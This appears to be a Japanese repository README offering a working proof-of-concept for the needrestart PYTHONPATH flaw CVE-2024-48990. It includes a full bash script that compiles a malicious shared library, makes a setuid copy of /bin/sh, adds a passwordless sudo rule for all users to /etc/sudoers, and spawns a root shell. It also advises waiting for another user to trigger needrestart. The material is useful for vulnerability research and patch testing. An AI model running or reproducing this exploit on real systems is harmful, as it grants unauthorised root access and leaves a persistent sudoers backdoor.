
このリポジトリには、needrestart プログラムの脆弱性を実証するための概念実証 (PoC) が含まれています。この脆弱性は Python のパスを正しく設定しないため、潜在的な権限昇格につながります。この PoC は、この欠陥を悪用して昇格した権限を取得する潜在的な経路を示しています。
CVE-2024-48990 脆弱性は、needrestart パッケージ内に存在します。具体的には、Python のパスを正しく設定しないため、特定のアクションがトリガーされたときに権限昇格のために悪用される可能性があります。
この PoC は、悪意のある共有ライブラリが Python を介して読み込まれ、システム設定を操作して昇格した権限を取得するシナリオをシミュレートします。テスト目的のみ、管理された安全な環境で使用してください。
脆弱性があるかどうかを確認するには、次のコマンドを実行します:
needrestart --version | grep -q "3.7" && echo "Definitely vulnerable" || echo "Version is potentially not vulnerable, this simply checks for 3.7"
テスト用に脆弱なバージョンが必要な場合は、次のコマンドを実行します:
sudo apt install needrestart=3.7-3
脆弱性をトリガーするには、リスナースクリプトを実行している状態で次のコマンドを実行します:
sudo apt remove ntp; sudo apt install ntp
このコマンドはパッケージ(この場合は ntp)をインストールし、needrestart の問題をトリガーさせます。ただし、理想的には、システム上の別のユーザーが needrestart をトリガーするような更新(sudo apt update など)を実行するのを待つことです。
次のスクリプトを実行して PoC をセットアップし、脆弱性をトリガーします。上の ntp の例のように、スクリプト全体をそのままターミナルにコピー&ペーストして待つか、手動でトリガーすることができます。また、デモの目的で、すべてのユーザーの sudo パスにバイナリを追加します。実際には、自分のユーザーの sudo にすべてのパスを追加するだけでも構いませんが、両方を見せたかったのです:
#!/bin/bash
set -e
cd /tmp
mkdir -p malicious/importlib
# Create and compile the malicious library
cat << 'EOF' > /tmp/malicious/lib.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
static void a() __attribute__((constructor));
void a() {
if(geteuid() == 0) { // Only execute if we're running with root privileges
setuid(0);
setgid(0);
const char *shell = "cp /bin/sh /tmp/poc; "
"chmod u+s /tmp/poc; "
"grep -qxF 'ALL ALL=NOPASSWD: /tmp/poc' /etc/sudoers || "
"echo 'ALL ALL=NOPASSWD: /tmp/poc' | tee -a /etc/sudoers > /dev/null &";
system(shell);
}
}
EOF
gcc -shared -fPIC -o "/tmp/malicious/importlib/__init__.so" /tmp/malicious/lib.c
# Minimal Python script to trigger import
cat << 'EOF' > /tmp/malicious/e.py
import time
while True:
try:
import importlib
except:
pass
if __import__("os").path.exists("/tmp/poc"):
print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
__import__("os").system("sudo /tmp/poc -p")
break
time.sleep(1)
EOF
cd /tmp/malicious; clear;echo -e "\n\nWaiting for norestart execution...\nEnsure you remove yourself from sudoers on the poc file after\nsudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers\nAs well as remove excess files created:\nrm -rf malicious/ poc"; PYTHONPATH="$PWD" python3 e.py 2>/dev/null
テストファイルをクリーンアップし、sudoers から自分を削除したい場合は、昇格したプロンプトで次のコマンドを実行できます:
sudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers
rm -rf malicious/ poc; ls
needrestart パッケージがインストールされていること(トリガーするために削除して再インストールしてもよい)この PoC はテスト目的のみであり、本番環境で使用すべきではありません。許可されていない環境でこの脆弱性を悪用することは違法となる可能性があります。セキュリティテストを実施する前に、必ず明示的な許可を取得してください。
テストをお楽しみください! 🧪🚀